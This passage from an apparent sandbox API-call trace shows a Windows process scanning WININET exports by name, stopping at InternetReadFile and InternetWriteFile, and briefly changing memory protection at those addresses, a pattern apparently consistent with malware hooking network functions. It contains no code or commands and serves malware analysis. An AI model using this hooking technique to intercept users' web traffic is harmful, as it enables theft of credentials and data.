lpString2="InternetReadFile") returned -1 [0082.249] lstrcmpA (lpString1="InternetGetCertByURL", lpString2="InternetReadFile") returned -1 [0082.249] lstrcmpA (lpString1="InternetGetCertByURLA", lpString2="InternetReadFile") returned -1 [0082.249] lstrcmpA (lpString1="InternetGetConnectedState", lpString2="InternetReadFile") returned -1 [0082.249] lstrcmpA (lpString1="InternetGetConnectedStateEx", lpString2="InternetReadFile") returned -1 [0082.249] lstrcmpA (lpString1="InternetGetConnectedStateExA", lpString2="InternetReadFile") returned -1 [0082.249] lstrcmpA (lpString1="InternetGetConnectedStateExW", lpString2="InternetReadFile") returned -1 [0082.249] lstrcmpA (lpString1="InternetGetCookieA", lpString2="InternetReadFile") returned -1 [0082.249] lstrcmpA (lpString1="InternetGetCookieExA", lpString2="InternetReadFile") returned -1 [0082.249] lstrcmpA (lpString1="InternetGetCookieExW", lpString2="InternetReadFile") returned -1 [0082.249] lstrcmpA (lpString1="InternetGetCookieW", lpString2="InternetReadFile") returned -1 [0082.249] lstrcmpA (lpString1="InternetGetLastResponseInfoA", lpString2="InternetReadFile") returned -1 [0082.249] lstrcmpA (lpString1="InternetGetLastResponseInfoW", lpString2="InternetReadFile") returned -1 [0082.249] lstrcmpA (lpString1="InternetGetPerSiteCookieDecisionA", lpString2="InternetReadFile") returned -1 [0082.249] lstrcmpA (lpString1="InternetGetPerSiteCookieDecisionW", lpString2="InternetReadFile") returned -1 [0082.249] lstrcmpA (lpString1="InternetGetSecurityInfoByURL", lpString2="InternetReadFile") returned -1 [0082.249] lstrcmpA (lpString1="InternetGetSecurityInfoByURLA", lpString2="InternetReadFile") returned -1 [0082.249] lstrcmpA (lpString1="InternetGetSecurityInfoByURLW", lpString2="InternetReadFile") returned -1 [0082.249] lstrcmpA (lpString1="InternetGoOnline", lpString2="InternetReadFile") returned -1 [0082.250] lstrcmpA (lpString1="InternetGoOnlineA", lpString2="InternetReadFile") returned -1 [0082.250] lstrcmpA (lpString1="InternetGoOnlineW", lpString2="InternetReadFile") returned -1 [0082.250] lstrcmpA (lpString1="InternetHangUp", lpString2="InternetReadFile") returned -1 [0082.250] lstrcmpA (lpString1="InternetInitializeAutoProxyDll", lpString2="InternetReadFile") returned -1 [0082.250] lstrcmpA (lpString1="InternetLockRequestFile", lpString2="InternetReadFile") returned -1 [0082.250] lstrcmpA (lpString1="InternetOpenA", lpString2="InternetReadFile") returned -1 [0082.250] lstrcmpA (lpString1="InternetOpenUrlA", lpString2="InternetReadFile") returned -1 [0082.250] lstrcmpA (lpString1="InternetOpenUrlW", lpString2="InternetReadFile") returned -1 [0082.250] lstrcmpA (lpString1="InternetOpenW", lpString2="InternetReadFile") returned -1 [0082.250] lstrcmpA (lpString1="InternetQueryDataAvailable", lpString2="InternetReadFile") returned -1 [0082.250] lstrcmpA (lpString1="InternetQueryFortezzaStatus", lpString2="InternetReadFile") returned -1 [0082.250] lstrcmpA (lpString1="InternetQueryOptionA", lpString2="InternetReadFile") returned -1 [0082.250] lstrcmpA (lpString1="InternetQueryOptionW", lpString2="InternetReadFile") returned -1 [0082.250] lstrcmpA (lpString1="InternetReadFile", lpString2="InternetReadFile") returned 0 [0082.250] VirtualProtect (in: lpAddress=0x768e2a90, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x37fcfc | out: lpflOldProtect=0x37fcfc*=0x20) returned 1 [0082.250] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0xc) returned 0x27489f8 [0082.250] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0xc) returned 0x274f4a8 [0082.250] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x27489f8 | out: hHeap=0x2350000) returned 1 [0082.250] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274f4a8 | out: hHeap=0x2350000) returned 1 [0082.250] VirtualProtect (in: lpAddress=0x76998600, dwSize=0x5, flNewProtect=0x40, lpflOldProtect=0x37fd30 | out: lpflOldProtect=0x37fd30*=0x20) returned 1 [0082.251] VirtualProtect (in: lpAddress=0x76998600, dwSize=0x5, flNewProtect=0x20, lpflOldProtect=0x37fd30 | out: lpflOldProtect=0x37fd30*=0x40) returned 1 [0082.251] VirtualProtect (in: lpAddress=0x768e2a90, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x37fcfc | out: lpflOldProtect=0x37fcfc*=0x40) returned 1 [0082.251] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fcc8, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fcc8, ReturnLength=0x0) returned 0x0 [0082.252] GetModuleHandleA (lpModuleName="WININET.DLL") returned 0x768e0000 [0082.252] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274e950 [0082.252] lstrcmpA (lpString1="CommitUrlCacheEntryA", lpString2="InternetWriteFile") returned -1 [0082.252] lstrcmpA (lpString1="CommitUrlCacheEntryW", lpString2="InternetWriteFile") returned -1 [0082.252] lstrcmpA (lpString1="CreateMD5SSOHash", lpString2="InternetWriteFile") returned -1 [0082.252] lstrcmpA (lpString1="CreateUrlCacheContainerA", lpString2="InternetWriteFile") returned -1 [0082.252] lstrcmpA (lpString1="CreateUrlCacheContainerW", lpString2="InternetWriteFile") returned -1 [0082.252] lstrcmpA (lpString1="CreateUrlCacheEntryA", lpString2="InternetWriteFile") returned -1 [0082.252] lstrcmpA (lpString1="CreateUrlCacheEntryW", lpString2="InternetWriteFile") returned -1 [0082.252] lstrcmpA (lpString1="CreateUrlCacheGroup", lpString2="InternetWriteFile") returned -1 [0082.252] lstrcmpA (lpString1="DeleteIE3Cache", lpString2="InternetWriteFile") returned -1 [0082.252] lstrcmpA (lpString1="DeleteUrlCacheContainerA", lpString2="InternetWriteFile") returned -1 [0082.252] lstrcmpA (lpString1="DeleteUrlCacheContainerW", lpString2="InternetWriteFile") returned -1 [0082.252] lstrcmpA (lpString1="DeleteUrlCacheEntry", lpString2="InternetWriteFile") returned -1 [0082.252] lstrcmpA (lpString1="DeleteUrlCacheEntryA", lpString2="InternetWriteFile") returned -1 [0082.252] lstrcmpA (lpString1="DeleteUrlCacheEntryW", lpString2="InternetWriteFile") returned -1 [0082.252] lstrcmpA (lpString1="DeleteUrlCacheGroup", lpString2="InternetWriteFile") returned -1 [0082.252] lstrcmpA (lpString1="DeleteWpadCacheForNetworks", lpString2="InternetWriteFile") returned -1 [0082.252] lstrcmpA (lpString1="DetectAutoProxyUrl", lpString2="InternetWriteFile") returned -1 [0082.252] lstrcmpA (lpString1="DispatchAPICall", lpString2="InternetWriteFile") returned -1 [0082.252] lstrcmpA (lpString1="DllInstall", lpString2="InternetWriteFile") returned -1 [0082.252] lstrcmpA (lpString1="FindCloseUrlCache", lpString2="InternetWriteFile") returned -1 [0082.252] lstrcmpA (lpString1="FindFirstUrlCacheContainerA", lpString2="InternetWriteFile") returned -1 [0082.252] lstrcmpA (lpString1="FindFirstUrlCacheContainerW", lpString2="InternetWriteFile") returned -1 [0082.252] lstrcmpA (lpString1="FindFirstUrlCacheEntryA", lpString2="InternetWriteFile") returned -1 [0082.252] lstrcmpA (lpString1="FindFirstUrlCacheEntryExA", lpString2="InternetWriteFile") returned -1 [0082.252] lstrcmpA (lpString1="FindFirstUrlCacheEntryExW", lpString2="InternetWriteFile") returned -1 [0082.252] lstrcmpA (lpString1="FindFirstUrlCacheEntryW", lpString2="InternetWriteFile") returned -1 [0082.252] lstrcmpA (lpString1="FindFirstUrlCacheGroup", lpString2="InternetWriteFile") returned -1 [0082.252] lstrcmpA (lpString1="FindNextUrlCacheContainerA", lpString2="InternetWriteFile") returned -1 [0082.252] lstrcmpA (lpString1="FindNextUrlCacheContainerW", lpString2="InternetWriteFile") returned -1 [0082.252] lstrcmpA (lpString1="FindNextUrlCacheEntryA", lpString2="InternetWriteFile") returned -1 [0082.252] lstrcmpA (lpString1="FindNextUrlCacheEntryExA", lpString2="InternetWriteFile") returned -1 [0082.252] lstrcmpA (lpString1="FindNextUrlCacheEntryExW", lpString2="InternetWriteFile") returned -1 [0082.252] lstrcmpA (lpString1="FindNextUrlCacheEntryW", lpString2="InternetWriteFile") returned -1 [0082.252] lstrcmpA (lpString1="FindNextUrlCacheGroup", lpString2="InternetWriteFile") returned -1 [0082.252] lstrcmpA (lpString1="ForceNexusLookup", lpString2="InternetWriteFile") returned -1 [0082.252] lstrcmpA (lpString1="ForceNexusLookupExW", lpString2="InternetWriteFile") returned -1 [0082.253] lstrcmpA (lpString1="FreeUrlCacheSpaceA", lpString2="InternetWriteFile") returned -1 [0082.253] lstrcmpA (lpString1="FreeUrlCacheSpaceW", lpString2="InternetWriteFile") returned -1 [0082.253] lstrcmpA (lpString1="FtpCommandA", lpString2="InternetWriteFile") returned -1 [0082.253] lstrcmpA (lpString1="FtpCommandW", lpString2="InternetWriteFile") returned -1 [0082.253] lstrcmpA (lpString1="FtpCreateDirectoryA", lpString2="InternetWriteFile") returned -1 [0082.253] lstrcmpA (lpString1="FtpCreateDirectoryW", lpString2="InternetWriteFile") returned -1 [0082.253] lstrcmpA (lpString1="FtpDeleteFileA", lpString2="InternetWriteFile") returned -1 [0082.253] lstrcmpA (lpString1="FtpDeleteFileW", lpString2="InternetWriteFile") returned -1 [0082.253] lstrcmpA (lpString1="FtpFindFirstFileA", lpString2="InternetWriteFile") returned -1 [0082.253] lstrcmpA (lpString1="FtpFindFirstFileW", lpString2="InternetWriteFile") returned -1 [0082.253] lstrcmpA (lpString1="FtpGetCurrentDirectoryA", lpString2="InternetWriteFile") returned -1 [0082.253] lstrcmpA (lpString1="FtpGetCurrentDirectoryW", lpString2="InternetWriteFile") returned -1 [0082.253] lstrcmpA (lpString1="FtpGetFileA", lpString2="InternetWriteFile") returned -1 [0082.253] lstrcmpA (lpString1="FtpGetFileEx", lpString2="InternetWriteFile") returned -1 [0082.253] lstrcmpA (lpString1="FtpGetFileSize", lpString2="InternetWriteFile") returned -1 [0082.253] lstrcmpA (lpString1="FtpGetFileW", lpString2="InternetWriteFile") returned -1 [0082.253] lstrcmpA (lpString1="FtpOpenFileA", lpString2="InternetWriteFile") returned -1 [0082.253] lstrcmpA (lpString1="FtpOpenFileW", lpString2="InternetWriteFile") returned -1 [0082.253] lstrcmpA (lpString1="FtpPutFileA", lpString2="InternetWriteFile") returned -1 [0082.253] lstrcmpA (lpString1="FtpPutFileEx", lpString2="InternetWriteFile") returned -1 [0082.253] lstrcmpA (lpString1="FtpPutFileW", lpString2="InternetWriteFile") returned -1 [0082.253] lstrcmpA (lpString1="FtpRemoveDirectoryA", lpString2="InternetWriteFile") returned -1 [0082.253] lstrcmpA (lpString1="FtpRemoveDirectoryW", lpString2="InternetWriteFile") returned -1 [0082.253] lstrcmpA (lpString1="FtpRenameFileA", lpString2="InternetWriteFile") returned -1 [0082.253] lstrcmpA (lpString1="FtpRenameFileW", lpString2="InternetWriteFile") returned -1 [0082.253] lstrcmpA (lpString1="FtpSetCurrentDirectoryA", lpString2="InternetWriteFile") returned -1 [0082.253] lstrcmpA (lpString1="FtpSetCurrentDirectoryW", lpString2="InternetWriteFile") returned -1 [0082.253] lstrcmpA (lpString1="GetUrlCacheConfigInfoA", lpString2="InternetWriteFile") returned -1 [0082.253] lstrcmpA (lpString1="GetUrlCacheConfigInfoW", lpString2="InternetWriteFile") returned -1 [0082.253] lstrcmpA (lpString1="GetUrlCacheEntryInfoA", lpString2="InternetWriteFile") returned -1 [0082.253] lstrcmpA (lpString1="GetUrlCacheEntryInfoExA", lpString2="InternetWriteFile") returned -1 [0082.253] lstrcmpA (lpString1="GetUrlCacheEntryInfoExW", lpString2="InternetWriteFile") returned -1 [0082.253] lstrcmpA (lpString1="GetUrlCacheEntryInfoW", lpString2="InternetWriteFile") returned -1 [0082.253] lstrcmpA (lpString1="GetUrlCacheGroupAttributeA", lpString2="InternetWriteFile") returned -1 [0082.253] lstrcmpA (lpString1="GetUrlCacheGroupAttributeW", lpString2="InternetWriteFile") returned -1 [0082.253] lstrcmpA (lpString1="GetUrlCacheHeaderData", lpString2="InternetWriteFile") returned -1 [0082.253] lstrcmpA (lpString1="GopherCreateLocatorA", lpString2="InternetWriteFile") returned -1 [0082.253] lstrcmpA (lpString1="GopherCreateLocatorW", lpString2="InternetWriteFile") returned -1 [0082.254] lstrcmpA (lpString1="GopherFindFirstFileA", lpString2="InternetWriteFile") returned -1 [0082.254] lstrcmpA (lpString1="GopherFindFirstFileW", lpString2="InternetWriteFile") returned -1 [0082.254] lstrcmpA (lpString1="GopherGetAttributeA", lpString2="InternetWriteFile") returned -1 [0082.254] lstrcmpA (lpString1="GopherGetAttributeW", lpString2="InternetWriteFile") returned -1 [0082.254] lstrcmpA (lpString1="GopherGetLocatorTypeA", lpString2="InternetWriteFile") returned -1 [0082.254] lstrcmpA (lpString1="GopherGetLocatorTypeW", lpString2="InternetWriteFile") returned -1 [0082.254] lstrcmpA (lpString1="GopherOpenFileA", lpString2="InternetWriteFile") returned -1 [0082.254] lstrcmpA (lpString1="GopherOpenFileW", lpString2="InternetWriteFile") returned -1 [0082.254] lstrcmpA (lpString1="HttpAddRequestHeadersA", lpString2="InternetWriteFile") returned -1 [0082.254] lstrcmpA (lpString1="HttpAddRequestHeadersW", lpString2="InternetWriteFile") returned -1 [0082.254] lstrcmpA (lpString1="HttpCheckDavCompliance", lpString2="InternetWriteFile") returned -1 [0082.254] lstrcmpA (lpString1="HttpEndRequestA", lpString2="InternetWriteFile") returned -1 [0082.254] lstrcmpA (lpString1="HttpEndRequestW", lpString2="InternetWriteFile") returned -1 [0082.254] lstrcmpA (lpString1="HttpOpenRequestA", lpString2="InternetWriteFile") returned -1 [0082.254] lstrcmpA (lpString1="HttpOpenRequestW", lpString2="InternetWriteFile") returned -1 [0082.254] lstrcmpA (lpString1="HttpQueryInfoA", lpString2="InternetWriteFile") returned -1 [0082.254] lstrcmpA (lpString1="HttpQueryInfoW", lpString2="InternetWriteFile") returned -1 [0082.254] lstrcmpA (lpString1="HttpSendRequestA", lpString2="InternetWriteFile") returned -1 [0082.254] lstrcmpA (lpString1="HttpSendRequestExA", lpString2="InternetWriteFile") returned -1 [0082.254] lstrcmpA (lpString1="HttpSendRequestExW", lpString2="InternetWriteFile") returned -1 [0082.254] lstrcmpA (lpString1="HttpSendRequestW", lpString2="InternetWriteFile") returned -1 [0082.254] lstrcmpA (lpString1="IncrementUrlCacheHeaderData", lpString2="InternetWriteFile") returned -1 [0082.254] lstrcmpA (lpString1="InternetAlgIdToStringA", lpString2="InternetWriteFile") returned -1 [0082.254] lstrcmpA (lpString1="InternetAlgIdToStringW", lpString2="InternetWriteFile") returned -1 [0082.254] lstrcmpA (lpString1="InternetAttemptConnect", lpString2="InternetWriteFile") returned -1 [0082.254] lstrcmpA (lpString1="InternetAutodial", lpString2="InternetWriteFile") returned -1 [0082.254] lstrcmpA (lpString1="InternetAutodialCallback", lpString2="InternetWriteFile") returned -1 [0082.254] lstrcmpA (lpString1="InternetAutodialHangup", lpString2="InternetWriteFile") returned -1 [0082.254] lstrcmpA (lpString1="InternetCanonicalizeUrlA", lpString2="InternetWriteFile") returned -1 [0082.254] lstrcmpA (lpString1="InternetCanonicalizeUrlW", lpString2="InternetWriteFile") returned -1 [0082.254] lstrcmpA (lpString1="InternetCheckConnectionA", lpString2="InternetWriteFile") returned -1 [0082.254] lstrcmpA (lpString1="InternetCheckConnectionW", lpString2="InternetWriteFile") returned -1 [0082.254] lstrcmpA (lpString1="InternetClearAllPerSiteCookieDecisions", lpString2="InternetWriteFile") returned -1 [0082.254] lstrcmpA (lpString1="InternetCloseHandle", lpString2="InternetWriteFile") returned -1 [0082.254] lstrcmpA (lpString1="InternetCombineUrlA", lpString2="InternetWriteFile") returned -1 [0082.254] lstrcmpA (lpString1="InternetCombineUrlW", lpString2="InternetWriteFile") returned -1 [0082.254] lstrcmpA (lpString1="InternetConfirmZoneCrossing", lpString2="InternetWriteFile") returned -1 [0082.254] lstrcmpA (lpString1="InternetConfirmZoneCrossingA", lpString2="InternetWriteFile") returned -1 [0082.255] lstrcmpA (lpString1="InternetConfirmZoneCrossingW", lpString2="InternetWriteFile") returned -1 [0082.255] lstrcmpA (lpString1="InternetConnectA", lpString2="InternetWriteFile") returned -1 [0082.255] lstrcmpA (lpString1="InternetConnectW", lpString2="InternetWriteFile") returned -1 [0082.255] lstrcmpA (lpString1="InternetCrackUrlA", lpString2="InternetWriteFile") returned -1 [0082.255] lstrcmpA (lpString1="InternetCrackUrlW", lpString2="InternetWriteFile") returned -1 [0082.255] lstrcmpA (lpString1="InternetCreateUrlA", lpString2="InternetWriteFile") returned -1 [0082.255] lstrcmpA (lpString1="InternetCreateUrlW", lpString2="InternetWriteFile") returned -1 [0082.255] lstrcmpA (lpString1="InternetDial", lpString2="InternetWriteFile") returned -1 [0082.255] lstrcmpA (lpString1="InternetDialA", lpString2="InternetWriteFile") returned -1 [0082.255] lstrcmpA (lpString1="InternetDialW", lpString2="InternetWriteFile") returned -1 [0082.255] lstrcmpA (lpString1="InternetEnumPerSiteCookieDecisionA", lpString2="InternetWriteFile") returned -1 [0082.255] lstrcmpA (lpString1="InternetEnumPerSiteCookieDecisionW", lpString2="InternetWriteFile") returned -1 [0082.255] lstrcmpA (lpString1="InternetErrorDlg", lpString2="InternetWriteFile") returned -1 [0082.255] lstrcmpA (lpString1="InternetFindNextFileA", lpString2="InternetWriteFile") returned -1 [0082.255] lstrcmpA (lpString1="InternetFindNextFileW", lpString2="InternetWriteFile") returned -1 [0082.255] lstrcmpA (lpString1="InternetFortezzaCommand", lpString2="InternetWriteFile") returned -1 [0082.255] lstrcmpA (lpString1="InternetGetCertByURL", lpString2="InternetWriteFile") returned -1 [0082.255] lstrcmpA (lpString1="InternetGetCertByURLA", lpString2="InternetWriteFile") returned -1 [0082.255] lstrcmpA (lpString1="InternetGetConnectedState", lpString2="InternetWriteFile") returned -1 [0082.255] lstrcmpA (lpString1="InternetGetConnectedStateEx", lpString2="InternetWriteFile") returned -1 [0082.255] lstrcmpA (lpString1="InternetGetConnectedStateExA", lpString2="InternetWriteFile") returned -1 [0082.255] lstrcmpA (lpString1="InternetGetConnectedStateExW", lpString2="InternetWriteFile") returned -1 [0082.255] lstrcmpA (lpString1="InternetGetCookieA", lpString2="InternetWriteFile") returned -1 [0082.255] lstrcmpA (lpString1="InternetGetCookieExA", lpString2="InternetWriteFile") returned -1 [0082.255] lstrcmpA (lpString1="InternetGetCookieExW", lpString2="InternetWriteFile") returned -1 [0082.255] lstrcmpA (lpString1="InternetGetCookieW", lpString2="InternetWriteFile") returned -1 [0082.255] lstrcmpA (lpString1="InternetGetLastResponseInfoA", lpString2="InternetWriteFile") returned -1 [0082.255] lstrcmpA (lpString1="InternetGetLastResponseInfoW", lpString2="InternetWriteFile") returned -1 [0082.255] lstrcmpA (lpString1="InternetGetPerSiteCookieDecisionA", lpString2="InternetWriteFile") returned -1 [0082.255] lstrcmpA (lpString1="InternetGetPerSiteCookieDecisionW", lpString2="InternetWriteFile") returned -1 [0082.255] lstrcmpA (lpString1="InternetGetSecurityInfoByURL", lpString2="InternetWriteFile") returned -1 [0082.255] lstrcmpA (lpString1="InternetGetSecurityInfoByURLA", lpString2="InternetWriteFile") returned -1 [0082.255] lstrcmpA (lpString1="InternetGetSecurityInfoByURLW", lpString2="InternetWriteFile") returned -1 [0082.255] lstrcmpA (lpString1="InternetGoOnline", lpString2="InternetWriteFile") returned -1 [0082.255] lstrcmpA (lpString1="InternetGoOnlineA", lpString2="InternetWriteFile") returned -1 [0082.255] lstrcmpA (lpString1="InternetGoOnlineW", lpString2="InternetWriteFile") returned -1 [0082.255] lstrcmpA (lpString1="InternetHangUp", lpString2="InternetWriteFile") returned -1 [0082.255] lstrcmpA (lpString1="InternetInitializeAutoProxyDll", lpString2="InternetWriteFile") returned -1 [0082.256] lstrcmpA (lpString1="InternetLockRequestFile", lpString2="InternetWriteFile") returned -1 [0082.256] lstrcmpA (lpString1="InternetOpenA", lpString2="InternetWriteFile") returned -1 [0082.256] lstrcmpA (lpString1="InternetOpenUrlA", lpString2="InternetWriteFile") returned -1 [0082.256] lstrcmpA (lpString1="InternetOpenUrlW", lpString2="InternetWriteFile") returned -1 [0082.256] lstrcmpA (lpString1="InternetOpenW", lpString2="InternetWriteFile") returned -1 [0082.256] lstrcmpA (lpString1="InternetQueryDataAvailable", lpString2="InternetWriteFile") returned -1 [0082.256] lstrcmpA (lpString1="InternetQueryFortezzaStatus", lpString2="InternetWriteFile") returned -1 [0082.256] lstrcmpA (lpString1="InternetQueryOptionA", lpString2="InternetWriteFile") returned -1 [0082.256] lstrcmpA (lpString1="InternetQueryOptionW", lpString2="InternetWriteFile") returned -1 [0082.256] lstrcmpA (lpString1="InternetReadFile", lpString2="InternetWriteFile") returned -1 [0082.256] lstrcmpA (lpString1="InternetReadFileExA", lpString2="InternetWriteFile") returned -1 [0082.256] lstrcmpA (lpString1="InternetReadFileExW", lpString2="InternetWriteFile") returned -1 [0082.256] lstrcmpA (lpString1="InternetSecurityProtocolToStringA", lpString2="InternetWriteFile") returned -1 [0082.256] lstrcmpA (lpString1="InternetSecurityProtocolToStringW", lpString2="InternetWriteFile") returned -1 [0082.256] lstrcmpA (lpString1="InternetSetCookieA", lpString2="InternetWriteFile") returned -1 [0082.256] lstrcmpA (lpString1="InternetSetCookieExA", lpString2="InternetWriteFile") returned -1 [0082.256] lstrcmpA (lpString1="InternetSetCookieExW", lpString2="InternetWriteFile") returned -1 [0082.256] lstrcmpA (lpString1="InternetSetCookieW", lpString2="InternetWriteFile") returned -1 [0082.256] lstrcmpA (lpString1="InternetSetDialState", lpString2="InternetWriteFile") returned -1 [0082.256] lstrcmpA (lpString1="InternetSetDialStateA", lpString2="InternetWriteFile") returned -1 [0082.256] lstrcmpA (lpString1="InternetSetDialStateW", lpString2="InternetWriteFile") returned -1 [0082.256] lstrcmpA (lpString1="InternetSetFilePointer", lpString2="InternetWriteFile") returned -1 [0082.256] lstrcmpA (lpString1="InternetSetOptionA", lpString2="InternetWriteFile") returned -1 [0082.256] lstrcmpA (lpString1="InternetSetOptionExA", lpString2="InternetWriteFile") returned -1 [0082.256] lstrcmpA (lpString1="InternetSetOptionExW", lpString2="InternetWriteFile") returned -1 [0082.256] lstrcmpA (lpString1="InternetSetOptionW", lpString2="InternetWriteFile") returned -1 [0082.256] lstrcmpA (lpString1="InternetSetPerSiteCookieDecisionA", lpString2="InternetWriteFile") returned -1 [0082.256] lstrcmpA (lpString1="InternetSetPerSiteCookieDecisionW", lpString2="InternetWriteFile") returned -1 [0082.256] lstrcmpA (lpString1="InternetSetStatusCallback", lpString2="InternetWriteFile") returned -1 [0082.256] lstrcmpA (lpString1="InternetSetStatusCallbackA", lpString2="InternetWriteFile") returned -1 [0082.256] lstrcmpA (lpString1="InternetSetStatusCallbackW", lpString2="InternetWriteFile") returned -1 [0082.256] lstrcmpA (lpString1="InternetShowSecurityInfoByURL", lpString2="InternetWriteFile") returned -1 [0082.256] lstrcmpA (lpString1="InternetShowSecurityInfoByURLA", lpString2="InternetWriteFile") returned -1 [0082.256] lstrcmpA (lpString1="InternetShowSecurityInfoByURLW", lpString2="InternetWriteFile") returned -1 [0082.256] lstrcmpA (lpString1="InternetTimeFromSystemTime", lpString2="InternetWriteFile") returned -1 [0082.256] lstrcmpA (lpString1="InternetTimeFromSystemTimeA", lpString2="InternetWriteFile") returned -1 [0082.256] lstrcmpA (lpString1="InternetTimeFromSystemTimeW", lpString2="InternetWriteFile") returned -1 [0082.256] lstrcmpA (lpString1="InternetTimeToSystemTime", lpString2="InternetWriteFile") returned -1 [0082.256] lstrcmpA (lpString1="InternetTimeToSystemTimeA", lpString2="InternetWriteFile") returned -1 [0082.257] lstrcmpA (lpString1="InternetTimeToSystemTimeW", lpString2="InternetWriteFile") returned -1 [0082.257] lstrcmpA (lpString1="InternetUnlockRequestFile", lpString2="InternetWriteFile") returned -1 [0082.257] lstrcmpA (lpString1="InternetWriteFile", lpString2="InternetWriteFile") returned 0 [0082.257] VirtualProtect (in: lpAddress=0x768e2b10, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x37fcfc | out: lpflOldProtect=0x37fcfc*=0x20) returned 1 [0082.257] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0xc) returned 0x27489f8 [0082.257] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0xc) returned 0x274f4a8 [0082.257] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x27489f8 | out: hHeap=0x2350000) returned 1 [0082.257] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274f4a8 | out: hHeap=0x2350000) returned 1 [0082.257] VirtualProtect (in: lpAddress=0x76998605, dwSize=0x5, flNewProtect=0x40, lpflOldProtect=0x37fd30 | out: lpflOldProtect=0x37fd30*=0x20) returned 1 [0082.257] VirtualProtect (in: lpAddress=0x76998605, dwSize=0x5, flNewProtect=0x20, lpflOldProtect=0x37fd30 | out: lpflOldProtect=0x37fd30*=0x40) returned 1 [0082.258] VirtualProtect (in: lpAddress=0x768e2b10, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x37fcfc | out: lpflOldProtect=0x37fcfc*=0x40) returned 1 [0082.351] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fcc8, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fcc8, ReturnLength=0x0) returned 0x0 [0082.352] GetModuleHandleA (lpModuleName="WININET.DLL") returned 0x768e0000 [0082.352] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274e988 [0082.352] lstrcmpA (lpString1="CommitUrlCacheEntryA", lpString2="InternetReadFileExA") returned -1 [0082.352] lstrcmpA (lpString1="CommitUrlCacheEntryW", lpString2="InternetReadFileExA") returned -1 [0082.352] lstrcmpA (lpString1="CreateMD5SSOHash", lpString2="InternetReadFileExA") returned -1 [0082.352] lstrcmpA (lpString1="CreateUrlCacheContainerA", lpString2="InternetReadFileExA") returned -1 [0082.352] lstrcmpA (lpString1="CreateUrlCacheContainerW", lpString2="InternetReadFileExA") returned -1 [0082.352] lstrcmpA (lpString1="CreateUrlCacheEntryA", lpString2="InternetReadFileExA") returned -1 [0082.352] lstrcmpA (lpString1="CreateUrlCacheEntryW", lpString2="InternetReadFileExA") returned -1 [0082.352] lstrcmpA (lpString1="CreateUrlCacheGroup", lpString2="InternetReadFileExA") returned -1 [0082.352] lstrcmpA (lpString1="DeleteIE3Cache", lpString2="InternetReadFileExA") returned -1 [0082.352] lstrcmpA (lpString1="DeleteUrlCacheContainerA", lpString2="InternetReadFileExA") returned -1 [0082.352] lstrcmpA (lpString1="DeleteUrlCacheContainerW", lpString2="InternetReadFileExA") returned -1 [0082.352] lstrcmpA (lpString1="DeleteUrlCacheEntry", lpString2="InternetReadFileExA") returned -1 [0082.352] lstrcmpA (lpString1="DeleteUrlCacheEntryA", lpString2="InternetReadFileExA") returned -1 [0082.352] lstrcmpA (lpString1="DeleteUrlCacheEntryW", lpString2="InternetReadFileExA") returned -1 [0082.352] lstrcmpA (lpString1="DeleteUrlCacheGroup", lpString2="InternetReadFileExA") returned -1 [0082.352] lstrcmpA (lpString1="DeleteWpadCacheForNetworks", lpString2="InternetReadFileExA") returned -1 [0082.352] lstrcmpA (lpString1="DetectAutoProxyUrl", lpString2="InternetReadFileExA") returned -1 [0082.352] lstrcmpA (lpString1="DispatchAPICall", lpString2="InternetReadFileExA") returned -1 [0082.352] lstrcmpA (lpString1="DllInstall", lpString2="InternetReadFileExA") returned -1 [0082.352] lstrcmpA (lpString1="FindCloseUrlCache", lpString2="InternetReadFileExA") returned -1 [0082.352] lstrcmpA (lpString1="FindFirstUrlCacheContainerA", lpString2="InternetReadFileExA") returned -1 [0082.353] lstrcmpA (lpString1="FindFirstUrlCacheContainerW", lpString2="InternetReadFileExA") returned -1 [0082.353] lstrcmpA (lpString1="FindFirstUrlCacheEntryA", lpString2="InternetReadFileExA") returned -1 [0082.353] lstrcmpA (lpString1="FindFirstUrlCacheEntryExA", lpString2="InternetReadFileExA") returned -1 [0082.353] lstrcmpA (lpString1="FindFirstUrlCacheEntryExW", lpString2="InternetReadFileExA") returned -1 [0082.353] lstrcmpA (lpString1="FindFirstUrlCacheEntryW", lpString2="InternetReadFileExA") returned -1 [0082.353] lstrcmpA (lpString1="FindFirstUrlCacheGroup", lpString2="InternetReadFileExA") returned -1 [0082.353] lstrcmpA (lpString1="FindNextUrlCacheContainerA", lpString2="InternetReadFileExA") returned -1 [0082.353] lstrcmpA (lpString1="FindNextUrlCacheContainerW", lpString2="InternetReadFileExA") returned -1 [0082.353] lstrcmpA (lpString1="FindNextUrlCacheEntryA", lpString2="InternetReadFileExA") returned -1 [0082.353] lstrcmpA (lpString1="FindNextUrlCacheEntryExA", lpString2="InternetReadFileExA") returned -1 [0082.353] lstrcmpA (lpString1="FindNextUrlCacheEntryExW", lpString2="InternetReadFileExA") returned -1 [0082.353] lstrcmpA (lpString1="FindNextUrlCacheEntryW", lpString2="InternetReadFileExA") returned -1 [0082.353] lstrcmpA (lpString1="FindNextUrlCacheGroup", lpString2="InternetReadFileExA") returned -1 [0082.353] lstrcmpA (lpString1="ForceNexusLookup", lpString2="InternetReadFileExA") returned -1 [0082.353] lstrcmpA (lpString1="ForceNexusLookupExW", lpString2="InternetReadFileExA") returned -1 [0082.353] lstrcmpA (lpString1="FreeUrlCacheSpaceA", lpString2="InternetReadFileExA") returned -1 [0082.353] 